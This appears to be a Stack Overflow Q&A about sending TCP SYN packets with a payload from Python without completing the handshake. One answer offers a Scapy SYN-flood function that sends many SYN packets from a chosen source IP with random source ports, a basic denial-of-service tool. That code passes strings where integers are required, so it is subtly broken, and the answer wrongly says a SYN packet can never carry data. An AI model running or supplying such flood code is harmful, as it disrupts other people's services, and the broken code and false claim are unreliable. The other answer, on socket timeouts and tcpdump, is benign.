Allexj
Allexj

Reputation: 1487

socket.connect blocks forever. How to just send the SYN packet with a LENGHT without waiting for response?

I have this simple code:

import socket

ip = "myip"
port = myport

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")

If I run it, it never reach the print so it never complete the connect, and that's because the IP I want to connect to has not that port open.

In fact I don't want to complete the connection, but just need to send the SYN request.

Also, I would need to send packets with a LENGHT. If I test with hping3 and sniff the syn packets sent, I see that there is a payload of 100 lenght. How can I "add" this payload to the packet?

How can I do that?

Upvotes: 0

Views: 1014

Answers (2)

ditrapanij
ditrapanij

Reputation: 148

From what I can gather, what you're after is a TCP SYN flood and is probably best achieved using the Scapy Library. This could be achieved with code similar to the below:

from scapy.all import *

def flood(src_ip, dst_ip, dst_port, amount):
 ip = IP(src=src_ip, dst=dst_ip)
 for i in range(0, amount):
  src_port = random.randint(20, 65000)
  transport = TCP(sport=src_port, dport=dst_port, flags="S")
  send(ip/transport)

if __name__ == '__main__':
 flood('x.x.x.x', 'x.x.x.x', '443', '1000')

As mentioned above, its important to note that you CANNOT send data within a SYN packet.

Upvotes: 1

tyrion
tyrion

Reputation: 2303

If you do not care to wait for a response you could, for example, use socket.settimeout.

Here is an example setting a 5 seconds timeout:

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((ip, port))
except socket.timeout:
    pass

An other solution, albeit more difficult, would be to send the packet manually using raw sockets.

You can verify that your packets are indeed being sent by using a tool such as tcpdump:

$ tcpdump 'tcp port 5005'

Upvotes: 0

Related Questions